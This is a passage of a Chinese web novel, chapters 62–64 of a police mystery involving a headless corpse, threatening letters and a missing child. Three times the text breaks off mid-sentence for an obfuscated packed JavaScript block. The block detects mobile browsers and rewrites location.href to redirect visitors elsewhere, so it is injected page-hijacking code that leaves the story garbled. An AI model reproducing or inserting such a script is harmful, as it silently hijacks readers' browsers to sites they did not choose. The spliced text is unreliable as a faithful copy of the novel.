秋樰生简直莫名其妙。放血、枪击、砍头,任何一种手段都已经可以致人死亡,他还是第一次遇到一名凶手同时在一个人身上用这么复杂的多种手段杀人,这是虐杀吗?可虐杀者明明享受的是受害者痛苦不堪,跪地求饶却不得的绝望景象,这种先放血再杀人的手法,反而竟显出几分违和的“仁慈”来了。死者和凶手,到底是什么关系? “秋队?” 秋樰生回过神来,小陆说:“姚队来了,我得挂电话了,拜。”说完便果断切断了通讯。 秋樰生望着逐渐变黑的手机屏幕,心里翻江倒海,今日隀明市的天气晴朗,秋樰生心里却有了种山雨欲来风满楼的不祥预感。 62.第62章 百年难得一见的高配 方许恩说:“牟老太失踪的丈夫应该曾经在白城市第一人民医院工作,但我没能看到他的工种和具体信息,她的记忆太混乱了,很多记忆图景都无法连贯起来,我怀疑其中还有很多幻觉,实在没办法在那么短的时间里完全甄别出来哪些是真实的,哪些又是错位的。” 秦于理说:“没关系,要查她男人,我问霍殊要一下牟老太和委托人的信息就行。” “对哦。” 两人正聊着,一阵凉风吹过,风里竟然带着微微的湿意,似乎要下雨了。方许恩还在抬头看天,却听秦于理突然“咦”了一声。 方许恩看向秦于理,随后又顺着后者的眼光看向不远处。城隍庙的门口依然人来人往,不断有新的信众前来烧香拜城隍。今天是长假第六天,农历八月十五,也即中秋节,隀明市文旅局一早就做了广告宣传,要在城隍庙里举办隆重的拜月仪式,所以随着时间的推进,庙里的游客数不减反增,哪怕刚刚救护车才从庙里拉走了牟老太这名突发恶疾的病人,群众的喜庆氛围也丝毫没有受到影响。 方许恩一眼扫过去,很快在正准备进门的游客中发现了一对男女,他们穿着素色的衣服,和其他游客满面笑容的样子格格不入,周身笼罩着一层无法言说的沉重。 方许恩向来观察能力很强,毕竟当音乐家的动不动就要读一堆看起来差不多的五线音符,所以他飞快地认出了那两个人的面孔。 “这两人好面熟啊……哦,我想起来了,是我们刚刚在公安局碰到的那俩!” 方许恩和秦于理出门前曾在警局里头遇到过一男一女,那时候其中那女的还扭头扫过他们一眼,当时她打扮夸张,脸上画着浓妆,妆还弄花了,但此时却素面朝天,露出了一张清秀的脸孔。方许恩觉得,这姑娘不化妆比化妆好看多了! 秦于理说:“对,是他们。” 方许恩疑惑:“他们怎么也来城隍庙了,不会是跟着我们来的吧?” “不是。” “为什么?” “自己动脑筋想。”秦于理说着脱下自己身上的小羊皮外套,利索地系到方许恩腰上,“跟上!” 方许恩愣了一下,见秦于理已经拎着没吃完的甜杆迅速混入人群,一面把捆甜杆的皮筋拿下来绑头发,一面快步往城隍庙里走,只得赶紧也跟了上去。 一路上,他脑子动得飞快,好在很快有了答案。 “他们俩跟我们差不多时间从隀明市公安局出来,如果真的跟踪我们,不可能现在才到,而且他们明显回去洗漱过,都换了衣服。” “想太复杂了。”秦于理说,“理由只有一个,有人跟着我们的话,我不会一路上毫无所觉。” 方许恩:“……” 秦于理说:“你过来点。” 方许恩还没反应过来,已经被秦于理一把拉过来,挽起他的胳膊。 指着刚刚才看过的仪门那副大算盘,秦于理装作吃惊地问:“宝宝,这是什么呀,为什么这里会有副这么大的算盘啊!” 方许恩刚刚吐完,人还虚着,冷不丁听到秦于理这么一嗓子,腿都吓软了,差点摔倒在台阶上,但是秦于理力气真的很大,方许恩明明都往下跪了一截了,秦于理竟然用单手挽着他的胳膊也能强行给他拉了起来。 那对男女中的女方似乎十分警觉,哪怕在人群中,她也保持着强烈的敏锐度,此时皱着眉,左右张望,似乎是察觉到了刚刚秦于理的眼光,正在找寻源头。 秦于理说:“宝宝,你怎么不理我啊?” 方许恩:“我……我……” “别看他们!”秦于理凑过去,捶了方许恩的胸口一下,“讨厌,你跟我约会的时候居然还开小差!” 方许恩简直要被秦于理吓死了,他脑子里一团混乱,还没来得及生出什么乱七八糟的念头,就又听到了秦于理压低音量的正常说话声:“自然点,那女的反侦察意识很强,有可能是同行。” “同行?”方许恩震惊,但他马上意识到自己此时不能表现出来,情急之下也指着那个大算盘大声说,“这个是计算人间功德的,你看到算盘上刻着的四个字没有,写的是不由人算,代表着凡人在人间不论行善作恶,活着的时候未必有报,但死了到地府以后,城隍爷是一定会一宗宗厘清判定的!” 方许恩现学现卖,把刚刚热心阿姨教给他的东西又说了出来。 秦于理立刻夸张拍手,夸赞道:“你好聪明啊宝宝,什么都知道!” 那个女人显然也听到了他们的说话声,此时抬起头来,同样看向那副挂在门楣上的大算盘。 “为善者昌,为恶者亡。”女人的眼神扫过算盘两侧对联上的字,最后停留在挂在横梁上的两块巨额上,语气里莫名带着几分讥诮。 “抓紧时间。”男的拽了女的一把,女的很快回过神来,跟着男的匆匆跨过仪门,往城隍庙深处走。 秦于理和方许恩便挽着胳膊,慢慢悠悠地跟在那对男女身后,装作在游玩。 那两人没有像一般游客那样去月老殿、财神殿和文昌殿烧香,反而一个劲往里走,先去慈航殿拜了慈航真人,然后在霍光殿匆匆拜过了霍光,最后停留在城隍殿。他俩交头接耳商量了一会儿,这次很隆重地请了香,对着城隍老爷一人一个蒲团叩拜下去,两人的神情皆很肃穆。 秦于理默默观察着两人。只见男的先行完礼,顾自起来,去旁边找工作中的小道士,女的却闭着眼睛,默默跪了好一会儿,最后才郑而重之地拜伏下去,叩了三叩。抬起头,她又注视了城隍爷的金身塑像好一会儿,也不知道在默想些什么,等男的找了人回来,才慢慢站起身来。 因为城隍殿里此时游客不多,秦于理和方许恩不便进入,两人便装作在天井拍照,人没进去,在门外竖起耳朵听里头的动静。 说话的声音断续传来,秦于理听到他们向小道士咨询,要捐钱供一尊牌位放在城隍爷脚下,小道士报了价格,问他们亡者姓名、生卒年月、墓址等等,那对男女便让小道士加了他们绿泡泡,网络交流。整个过程也就是十来分钟,小道士给两人办妥了手续,告诉他们牌位要住持亲手写上亡者姓名,做了仪式后才会摆上去,由于霍殊此时不在庙里,现在只能先收定金,后续办妥了之后会拍照给他们,客户确认无误后打尾款完成交易,那对男女同意了。 方许恩在旁边拿着相机一边装作在给秦于理拍照,一边轻声感叹:“现在国内的宗教已经这么商业化了吗?” 秦于理嗲嗲地说:“宝宝,你太聒噪了!” 方许恩吓得一个哆嗦,赶紧闭嘴。 没一会儿,那对男女从大殿里出来,在他们出来前一秒,秦于理已经转身,背朝着两人走到一旁的关帝殿前排队,装作要敬香,方许恩这次却没跟过去。秦于理正要喊他,忽然听到方许恩叫了一声:“哎,等等!” 此时那对男女已经走到了城隍殿前的天井里,听到声音,两人大约以为小道士还有什么没交代,下意识地扭过头来,与拿着手机的方许恩目光短暂交接。很快,男的皱起眉头,作势要朝方许恩走过去,方许恩却自己先迎了上去,快步错过两人身边,拉住了一名中年女人喊:“阿姨,你手机掉了!” 巧的是,方许恩拉住的居然又是刚刚那个在仪门前热心为他讲解大算盘寓意的阿姨,后者看到方许恩,脸上一下子笑了开来:“又是你啊,小伙子,咱们可真有缘!” 那男的观察了一会儿,松开眉头,跟同行的女人交换了个眼神,两人行色匆匆,快步离开了天井。 阿姨还在跟方许恩热烈交流:“手机?阿姨手机没掉啊,在我兜里揣着呢,噢哟,小伙子,你可真是心善,现在这年头,像你这么乖的小囡不多见了哦!要不,你给阿姨留个联系方式,阿姨啊有个女儿,现在念大三,长得可漂亮了……” 秦于理快步走过来,朝阿姨微微点头:“不好意思 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16757197|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,我男朋友弄错了,阿姨您忙。”这才把方许恩给解救了出来。 把人拉到角落里,秦于理问:“你刚刚在干什么!” 方许恩忙不迭献宝一样把手机展示给秦于理看,说:“我拍了他俩的照片,回头可以按图索骥,找到他们的讯息。” 秦于理有些头疼地揉了揉太阳穴:“你想复杂了。” 方许恩一愣:“啊?”他怎么又想复杂了? 秦于理说:“这两人是从隀明市公安局里出来的,两人开始穿的衣服都皱皱巴巴,女的脸上妆都花了,应该在局里呆了至少一晚,他俩又不是隀明市公安局的人,所以只可能是和案件有关系的人,我已经让局里帮我调信息了。” 就像是在验证秦于理的话一样,此时一串旋律响了起来。 方许恩还在奇怪声音怎么是从他身上发出来的,秦于理已经伸手把刚刚自己围在方许恩腰上的小羊皮夹克解下来,她从外套口袋里摸出了自己的电话。 “喂,小陆,有空,你说……昨晚,金鑫大楼?” 秦于理不完整的话语勾得方许恩心痒痒的,可他又不能贴上去跟秦于理一起听电话,只能在旁边干巴巴地站着。好在秦于理只和小陆简单地交流了一会儿便挂断了电话,没一会儿,她的手机又响起提示音,显然是小陆从那头发来了什么资料。 秦于理飞快地划着手机,一目十行,很快,她的脸色变得严肃起来。 方许恩不知道发生了什么事,继续好奇,但好奇中又增加了惴惴不安,他感觉秦于理的心情不是很好的样子。 秦于理一个人拿着手机,盯着屏幕发了会儿呆,随后把手机“恶狠狠”地揣进兜里,一面穿外套一面大步往城隍庙外走,同时扯断皮筋,放下头发。 方许恩赶紧跟上去,问:“怎么了,秦队?” 秦于理低气压地说:“那对男女的信息小陆发给我了,他俩都是白城人……” 方许恩脚下一顿,隐约触及到了某种被强行牵连的不快:“白城,白城市第一人民医院那个白城?” “嗯,男的叫张瑞,女的叫高秋霞,职业是灵异探险赛道的UP主,在某音符有小一百万的粉丝,他们昨晚在金鑫大楼直播的时候,在大楼四层发现了一具无头男尸。” 方许恩惊得一跳:“无、无头的?” 秦于理说:“是秋樰生接的案子。” 方许恩挠头:“秋队?怎么那么巧?” 秦于理冷笑:“你也觉得巧是吧,你知道这代表什么吗?” 两人此时已经走出城隍庙,正在朝刚刚方许恩用钞能力搞定的停车场走。方许恩刚吃了两次回答的亏,这次秦于理又问他,他决定不答了。他知道,秦于理这一次并不是真的要他提供答案。 “解锁。” “哦。”方许恩乖乖打开车门,坐到驾驶座上。这一次不用秦于理吩咐,他先踩下油门,朝出口开——方许恩已经初步掌握了和秦于理一起共事的准则,脑筋要转得快,行动也要足够利索,简而言之,要会察言观色! 方许恩作为一个坐拥十多亿信托资产的大少爷,这辈子也没想到自己会有学习察言观色的一天,但事实证明,他是有这个基因的,至少在秦于理面前,他就得会。 秦于理说:“长假头三天,我跟秋樰生回了一趟老家……” 方许恩还没来得及消化秦于理跟秋樰生一起回老家这则蕴含着可怕信息量的爆炸性消息,秦于理又接着说:“一到那地方,就碰到了一起重生案,我马不停蹄解决完,刚回来想消停一会儿,碰到你进组,接着就碰到霍殊那个小人算计我们,现在还多了一起无头男尸案……” 方许恩一个字都不敢吭,要不是他是司机,他真想把自己蜷缩起来,尽量减弱自己此时的存在感。 “观察者加触媒,加班加到过劳肥!”秦于理恨恨地骂了一句,“什么百年难得一见的高配队伍,我看就是倒了血霉!” 63.第63章 三封挑衅信 秋樰生走到郑金虎跟前,吸了口气,说:“郑队,借一步说话。” 郑金虎不知道是在思索刚才秋樰生那个不着调的ET推测还是又想到了别的什么事,总之现在面色很难看。他看了秋樰生一眼,随后点点头:“边走边说,咱俩再把出小区的路巡一遍。” 秋樰生点头,他猜郑金虎应该也拿到了新的消息,毕竟小陆知道的姚永肯定也知道,知道了自然会汇报给郑金虎这个顶头上司。 秋樰生说:“金鑫的事,您是不是知道了?” 果然,郑金虎心事重重地点点头,他从口袋里摸出一包烟,抽了一根递给秋樰生,秋樰生道了谢,叼在嘴上,伸手去掏打火机。 一团火突然凑了过来,郑、秋两人都吓了一跳,因为拿着打火机的人竟然是武东青。 郑金虎赶紧伸手去接武东青手里的火机说:“罪过罪过,怎么好让老领导给我们点烟!” 武东青说:“是么,既然还认我这个老领导,抽烟怎么也不喊我一声?” 郑金虎苦笑,又将打火机递给秋樰生,自己重新从口袋里重新掏出烟盒,拔了一根给武东青,秋樰生赶紧打了火跟上,等武东青吐出烟圈才给郑金虎点烟,最后是他自己。 郑金虎说:“武局,您忙了一上午了,回屋里歇会儿,我和小秋再走走。” 武东青说:“我不累,老伴不让屋里吸烟,我跟你们一起走走。” 郑金虎为难地看向秋樰生,秋樰生说:“都到这个时候了,我看要不就跟武局直说吧!” 郑金虎哎哟一声,是一不留神把烟头塞嘴里了,赶紧呸呸呸吐口水,嘴里骂道:“秋樰生,你个王八……” 秋樰生说:“武局,经过初步调查,您孙子的失踪很可能是一起人为的蓄意报复案,我建议马上报警,出动警力开展大范围搜索,不然后果不堪设想。” 武东青说:“我这辈子抓过的罪犯没有上千也有几百,你们靠什么确定的案件性质?就算确定了,又打算怎么锁定目标?” 秋樰生开门见山:“您还记得刘克爽吗?” 秋樰生此话一出,武东青的神色立刻变了。香烟叼在他的嘴上静静燃烧了一会儿,等到烟灰都积了一截了,他才用手指夹着用力抽了几口,然后摁灭烟头,从裤子口袋里掏出一张纸巾将烟蒂包上,攥在手里。 “昨晚八点十一分有两个网红在金鑫大楼四层发现了一具男尸,没头没指纹,年龄45-50岁之间,身高一米七,死亡时间48-72小时,李特那边做了DNA比对,比上了一个跟刘克爽有亲属关系的人,叫刘庆利……” 秋樰生还没进一步说明,武东青已经抬起眼睛,露出雪亮的目光:“刘克爽的堂兄弟刘庆利?他今年应该有57了,早年跟着刘克爽打架斗殴,干了不少混账事,进过局子三次,最后一次判了两年六个月。怎么,你们怀疑童童的失踪和刘家人有关?” 秋樰生说:“是有这么个猜想,我听说当时刘克爽的尸体从白城市第一人民医院失踪了,有没有可能……” “放屁!”武东青勃然大怒,“刘克爽是老子亲手击毙的,死得透透的,绝没有重来一次的机会,就算他现在还活着,也已经64岁,跟你说的无头男尸信息不符!” 郑金虎忙从中调停说:“小朋友不懂事,武局您消消气,小秋也是担心童童的安危……” 武东青把眉毛一竖:“你是觉得我已经年纪大到分不清好歹了?” 郑金虎碰了一鼻子灰,悻悻然地闭了嘴。 秋樰生说:“我的意思是,本来在白城一带活动的刘家人突然出现在隀明市,接着就发生了童童失踪的事情,是不是有点巧合了?刘克爽本人或许已经化成灰了,但他如果有儿子、侄子呢,他们会不会为了某些利益找上门来?” 武东青说:“那就更不可能了!如果刘家真的有人时隔几十年来找我算账,他们应该活蹦乱跳地杵在我的面前,而不是躺在金鑫大楼里,连自己的头都保不住!” 郑金虎拉了秋樰生一下,意思让他少说点。他说:“武局说得对,现在那个和刘克爽有关的刘家人是死者而不是凶手,而且你怀疑的那个刘家人按你所说在前两天就已经死了,童童可是今天凌晨走丢的!” 秋樰生说:“我知道,时间的确是个问题,但谁也不知道刘家来了几个人,万一其中一个出意外死了,另一个还在行动呢?” 武东青说:“秋樰生,你为什么要盯着刘克爽这个死人不放?” 秋樰生说:“我不是盯着他不放,我是觉得奇怪,干咱们这行的,与人结仇结怨是常事,家里人但凡有个风吹草动反应通常都会很快,可您孙子都走丢那么久了,您为什么就是不肯报警?是不是这里头还有什么是您没告诉我们的?” 郑金虎:“……”他伸手揉捏自己的太阳穴,觉得自己做了一个错误决定,他应该让秋樰生继续跟金鑫大楼的案子,然后把姚永喊过来。后者虽然能力没有秋樰生出众,但情商明显要高得多了。 气氛僵硬到了极点,郑金虎苦哈哈地杵在武、秋两人身边,低头装成深沉思索状——虽然秋樰生情商低,但秋樰生说的其实也是他的疑问。 “因为童童失踪就是他的错!”一个陌生的男声突然响起,秋樰生扭过头,看到一个三十后半的男人搀扶着一个面色苍白,同样三十多的女人走过来。女的脸上还有泪痕,显然刚刚哭过。 见秋樰生打量自己,这人主动介绍说:“武君朝、梁玉洁,我们是武心童的父母。” 也就是说,这就是武东青的儿子儿媳妇。估计是接到家里的消息后,夫妇俩便一路紧赶慢赶,这才在中午回到了父母家。 秋樰生说:“哦,您好……” 秋樰生其实很想问刚刚那句话是什么意思,可是儿子指控爷爷害了孙子这种事,好像不是他一个外人现在能搅和进去的。 武君朝说:“童童可能有危险这件事我们早在一个月前就得到了警告,可是英明神武的武局长硬是觉得自己宝刀不老,能搞定这件事,才弄到今天这副田地。” 秋樰生、郑金虎“啊”了一声,两人同时将目光投向武东青,然后又跟被烟头烫到似的同时缩脖子看自己的脚尖。 如果武东青一早就知道有人在打自己孙子主意却出于面子问题,坚持自己搞定,最后却老马失蹄,大意失荆州,那么他不肯报警这条逻辑链勉强倒是能说通。 武东青对自己儿子说:“你懂个屁!” 武君朝却寸步不让:“我是不懂,我只是个大学教授,可你呢,天天吹嘘自己以前有多伟大,明明收到了警告信却不处理,现在童童真的出事了,你付得起责任吗?” 秋樰生见缝插针,举手:“警告信是什么,能给我们看看吗?” 武东青和武君朝父子俩大眼瞪小眼,像两头公牛一样互相敌视着谁也没动,旁边梁玉洁哇的一声哭了出来,这才打破了父子俩的对峙。 女人哭哭啼啼地说:“我想童童,我就想我儿子平平安安回来,他是我十月怀胎生下来的独生子啊,我想把他找回来我有什么错吗?”女人的哭声将林秀华也给引了出来,见儿媳妇哭得已经快要站不住了,赶紧伸手来搀扶。 武东青说:“回家说,在外面吵吵嚷嚷像什么话!”说着,这名退休老刑侦负手带头往家里走,看都不看身后家人一眼。 不一会儿,秋樰生、郑金虎和武家一家人都在客厅沙发上坐下,林秀华拿出一个铁皮饼干盒子,打开后拿出来几张装在塑料袋里的纸张:“这是八月底在家门口发现的,当时塞在我们家门口的信箱里,是我发现的。” 秋樰生问武家人要了副一次性手套,套上后把里面的纸张拿出来,打开看。 那是一张非常老旧的红线文稿纸,上面印着的单位抬头赫然是红星农业合作社。 秋樰生震惊,红星农场正是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16762703|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 当初刘克爽最后挟持人质负隅顽抗的场所,难怪刚刚武东青对秋樰生提起刘克爽这个名字时的反应那么微妙,原来他早就收到了讯号,一个来自39年前已死之人的讯号! 信纸上没有打印文字,也没有报刊上剪的文字纸片拼贴,而是歪歪扭扭的用圆珠笔写着几行字:“武大警长,好久不见,找你有些费力,好在还能找到。隀明是个好地方,不下雪,气温好,你住的地方档次也高,有空我来坐坐。”落款写得是“刘”。 林秀华说:“老武一开始觉得应该是恶作剧,所以没有理会,可过了十天,我们又收到了第二封信。” 秋樰生又拿出第二封信,展开让郑金虎一起看,同样是红星农场的文稿纸,同样用圆珠笔歪歪扭扭写着:“你儿大学工作,优秀,儿媳妇漂亮,小孙子可爱,有机会我请他们做客,一定吃好喝好。” 林秀华说:“第二封信被放到了门口台阶上,这次老武去查了监控,我们才发现房屋正门口的那个探头被弄坏了。” 也就是说,刚刚老夫妻俩提供的探头可能是一个半月前流浪猫抓坏的事情根本就是在撒谎,从那时候开始他们就已经活在了某个不明身份的犯罪分子阴影之下。 “你们没有更换新探头吗?” “怎么可能不换,但是没用多久,探头又会坏,几次都是这样,查不出问题来。” 郑金虎说:“恕我直言,武局,这已经是非常典型的恐吓了,您的确应该早一点告知局里的。” 武东青说:“老子在一线战斗了一辈子,还能怕这种鬼鬼祟祟的玩意儿?” “您怕的,不然不会让儿子儿媳妇和童童分开住,又打发他们夫妻俩去外地旅游,您是想分散风险,自己照顾好孙子,但您没想到,童童会自己跑出去。” 秋樰生的话让武东青陷入了沉默,但秋樰生又接着说:“不过,如果我是武局,我也恐怕会觉得这是一起恶作剧。现在是什么年代了,网络那么发达,谁都有手机,在这种年代用手写恐吓信,特别还用了红星农场的定制文稿纸,太浮夸了,的确更像是一出恶作剧,何况就像武局所说的,他是见到刘克爽最后一面的人,他非常清楚刘克爽已经死了,如果我没猜错的话,当年刘克爽尸体无故失踪后,武局应该做过跟踪调查,排摸过他的人际关系吧,不然也不会时隔这么多年,我一说刘庆利这个名字,您立刻就能想起来他的身份和案底……” 武东青沉默不语,粗糙的手掌摩挲着自己的运动裤。 秋樰生说:“而且如果我没猜错的话,您最后选择调到隀明市并定居并在这里养老,也有一些避祸的初衷在。” 武东青抬起头来,这次似乎认认真真地打量了秋樰生一番,他说:“郑金虎。” 郑金虎下意识回答:“到。” 结果武东青说:“你副手比你聪明。” 郑金虎:“……” 秋樰生的脸色也立刻变得无比尴尬,当着正职的面说副职比他能,秋樰生怀疑武东青是在报复他刚刚干脆利落下了自己的面子。 林秀华说:“第三封信是长假前的周末收到的,这次信放在了门口脚垫上的一双鞋子里面,还是君朝发现的。” 武君朝点头:“那天我来给我妈送点东西,大概是下午两点多看到的那张纸,估计因为这次放得比较隐蔽,发现时间晚了,我也是到那个时候才知道了有人威胁我们家这么个事。” 秋樰生打开了第三张纸,同样还是红星农场的文稿纸,熟悉的歪歪斜斜的字迹写着:“包饺子请您,一起过节。” 武东青说得没错,这个躲在阴影中的罪犯十分擅长惹人发怒,不论是这种倒计时一般的信息送达,还是信件从门口信箱一步步朝内,抵达正门口,都是非常明显的刻意为之。秋樰生觉得,如果换作他是武东青,很可能也会想要亲自揪出那家伙的真面目瞧个清楚,这对一个老刑侦来说,根本就是一种挑衅,不,侮辱! 64.第64章 蒋小龙 剑拔弩张的气氛中,武家的门铃突然响了起来,所有人同时看向门口。 武家是栋小别墅,院门通常都开着,其实可以随意进出,进了院子后还有两道门,一道玻璃门,一道正门,门铃安在院门处,如果是熟悉的人来,一般会直接穿过院子,到了正门口才敲门,可见,现在来的并不是熟人。 武东青站起身说:“我出去看看。” 秋樰生马上跟着站起:“我陪武局一起去。” 郑金虎才要起身,武东青说:“金虎留在家里,照看一下其他人。”郑金虎只得又坐了回去。 秋樰生跟着武东青打开正门,隔着院子就看到敞开的院门外站着个中等身材,体型敦实,皮肤黝黑的男人。他大约五十多岁的年纪,穿着一件冲锋衣,下身是一条牛仔裤,站在门口,神态有些拘谨。 秋樰生说:“您认识他?” 武东青摇头:“不认得。”随后他又仔细看了看那人说,“不过好像有点面熟,可能在小区里见过。” 秋樰生之前虽然没把握此时按门铃的会是带走武心童的凶犯,但曾经怀疑过会不会是第四封信来了,此时看到这么个老实巴交的男人,不由略有些失望。尽管如此,他还是对武东青说:“武局,要不我先上去问问。” 武东青一瞪眼睛:“光天化日,我还没老到这几步路都走不动!” 秋樰生缩了下脖子,乖乖把嘴巴闭紧。 看到武东青两人出来,那站在门口的男人黝黑的脸上顿时露出一个讨好的笑容:“领导,您好,我是好优家装修公司的。” 秋樰生顿觉丈二和尚摸不着头脑,这是来上门推销生意的? 大概看出两人脸上的疑问,老实男人赶紧从口袋里掏出一张工牌给武东青他们看:“您看,这是我的工作证。” 武东青扫了一眼,工作牌上面的确写着“好优家建筑装潢有限公司”,男人的名字叫陈文化。 武东青问他:“你怎么知道我做过领导,你以前见过我?” 以现在这个社会的习惯,一个在底层干活的工人见到武东青这类人要么就是叫老板,要么是喊大哥大叔,直接叫领导的显然是对武东青的身份是知晓几分的。 陈文化说:“夏天的时候我们公司在咱们这小区28号那儿盖房子,呆了两个多月呢,进进出出听他们都这么喊您,所以我知道您。” 见秋樰生看向自己,武东青点点头,伸手一指:“28号离这儿有两个路口,我们这个小区的别墅有大半用户以前都是这里的地主,手里有土地证,房子转手以后,新房主接手,有的不喜欢这些统一盖的老别墅外形,就会拆了自己重造。”他又将陈文化仔仔细细看了一会儿说,“我想起来了,我确实见过你,你那时候身边常常跟着个比你小一点儿,脸上有条疤的工人。” 陈文化闻言,顿时脸上露出惊喜的神情,他说:“您记得小龙?” “小龙是那个跟你在一起的人?” “对,他叫蒋小龙,是我老乡!”陈文化忙不迭地说,“是这样的,小龙他小时候受过伤,影响到了脑子,心智一直停留在十来岁的年纪。本来他妈养着他,前几年,他妈得病死了,就把他托付给了我们几个老乡,我们就带着他一起混口饭吃,平时他会在施工队里干点杂活,像是刮腻子搬砖丢垃圾什么的。” 武东青说:“这好像和我没什么关系吧。这样,陈师傅,我现在家里有点事,你要是……” 陈文化一把拽住武东青,武东青下意识地做了个擒拿动作。陈文化长得虽然不算瘦弱,年纪也比武东青年纪小,但武东青毕竟是个练家子,秋樰生担心他会被现在处于暴躁状态的武东青给误伤,正准备伸手拉一把,没想到武东青的动作做到一半,突然开始剧烈咳嗽起来。 “武局,武局您没事吧?”秋樰生赶紧把陈文化的手拽开,让他退开一点,“要不我去里面给您拿杯茶?” 武东青咳个不停,声音里都带着点哮喘的喉音了,但他用力摆手:“咳咳,不用,我只是……咳咳,呛到,呛到风了,没事!” 陈文化见武东青还是咳得很厉害,就有种自己来得不是时候的不安,他说:“领导,您是不是身体不舒服,那、那我不多打扰了。是这样,小龙他失踪五天了,怎么都联系不上,您刚刚也知道了,他那个人脑子不好,不能当个全乎人看,我们几个担心他是出什么事了,就分开来到处找找。我给您留个电话号码,要是您在小区里看到他,劳烦您通知我一声,谢谢了!” 秋樰生接过那张写着号码的纸条,第一时间看了眼字迹,感觉并不像恐吓信上的那种,这才终于相信,眼前这个陈文化和武心童失踪案应该没有关系。也真是巧了,武心童失踪,蒋小龙也失踪,本市的治安情况什么时候变成了现在这样? 秋樰生说:“你兄弟都失踪五天了,建议你们还是报警吧,号码我们留下了,如果看到了人会通知你的。” 陈文化却一脸愁容的说:“小龙他有点特殊情况,要是实在找不着我们再报警,先还是自己找找。” 这话就说得很奇怪了,蒋小龙虽然脑子坏了,心智不再发育,但这和报警有什么冲突呢?这疑问虽然很快转了一下,但毕竟现在武家自己的事情更紧急,所以秋樰生并没有打算继续追问。 陈文化见他们要回屋,很认真地行了个礼说:“谢谢两位领导,也问您妻子和童童好。” 武东青和秋樰生同时脚下一顿,武东青反应迅速,几步抢上一把揪住了陈文化的衣领,像是要把这个人给提起来。陈文化吓了一跳,努力想要挣脱却挣脱不开。 “武局、武局,你要勒死他了,你放开,我来!”秋樰生赶紧去掰武东青的手。 武东青却像只张牙舞爪的螃蟹一样,粗粝的大手像钳子死死钳着陈文化的脖子,他低吼:“你怎么认识童童,你怎么知道我孙子的名字,你到底是谁,对他做了什么?!” 可怜陈文化被掐住了咽喉,根本什么都说不出来,他拼命挣扎,还是秋樰生帮忙,才终于从武东青手里脱困,咳嗽着大口喘气。 秋樰生说:“你认识武局的孙子?” 陈文化说:“是,是小龙认识!” “蒋小龙?”秋樰生一愣,“他怎么会认识?” 突然,他想起了刚刚陈文化描述的蒋小龙,说他的心智年龄一直停留在十来岁的年纪,而且这支施工队在崧畔花园呆了一整个夏天,或许蒋小龙在给其他人跑腿的时候曾经见过武心童。 陈文化说:“小龙说,童童那时候放暑假经常来爷爷家玩,进进出出的就认识了,他把童童当朋友,所以我才想着来问问您有没有看到过小龙。” 秋樰生恍然大悟,原来陈文化找上门来并不是巧合,而是还有这么段渊源。 陈文化说:“对不住了领导,是我来得太突然了,您别责怪,我再去其他家问问。” 陈文化转身要走,秋樰生却忽然想到了什么,喊住他:“你们施工的那个28号工程已经竣工了吗,交付了没有?” 陈文化虽然不明白秋樰生是什么意思,还是如实回答道:“房子9月底的时候就造好了,就是还没装修完,只做了墙面地板那些基础的东西。房主说最近手头紧,打算把装修的事再往后推一推,等手头宽裕点了再喊我们去。” “那你们这几天都住在哪里?” “我们公司有宿舍的,离这儿就三十多分钟的路。” “你刚刚说蒋小龙失踪五天了,那岂不是房子一竣工,他就不见了?怎么到现在才来找?” 陈文化自己也有些不好意思,抓了抓脸皮哼哼唧唧地说:“是我不好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16767895|183154||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,发了工钱,我陪我相好的去附近玩了几天,回来才知道小龙一直没在宿舍。” “其他人也没跟你说?” “他们也……”陈文化显然觉得这是很没面子的事,蒋小龙的母亲临终前把儿子托付给他,结果在他手里出了这种纰漏。 秋樰生问:“蒋小龙是回了宿舍以后再出去,然后不见了?” 陈文化说:“是这样的,我们那时候交完房回家半路上才想起来为了散甲醛味道,房子的窗户都没关,生怕万一下雨,给里面做好的地板淋坏了,所以就要个人回去关窗,小龙自告奋勇说他去,我想着这里他住了几个月,也熟悉,就放心让他去了,然后当夜我在我相好的那里过的夜……” 陈文化的脸涨得通红,这其中的细节显然也不需要问了,因为并不怎么重要。 秋樰生说:“你有房主联系方式吗,能不能打个电话给他,问问他方不方便现在过来一趟?” 陈文化一脸疑惑,武东青却像是想到了什么:“你怀疑童童还在小区里?” “嗯。”秋樰生点头,“门口的监控我查过了,一直没看到童童的身影,也没看到提大件行李出去的人。如果童童凌晨三点半就出门了,又没有经过门口监控,那么剩下的可能就是他还在这个小区的某栋房子里,或许拐走他的人就是这座小区里的谁,这样熟人作案的事情也就说得通了。” 武东青说:“我让居委会的人打电话给28号。” 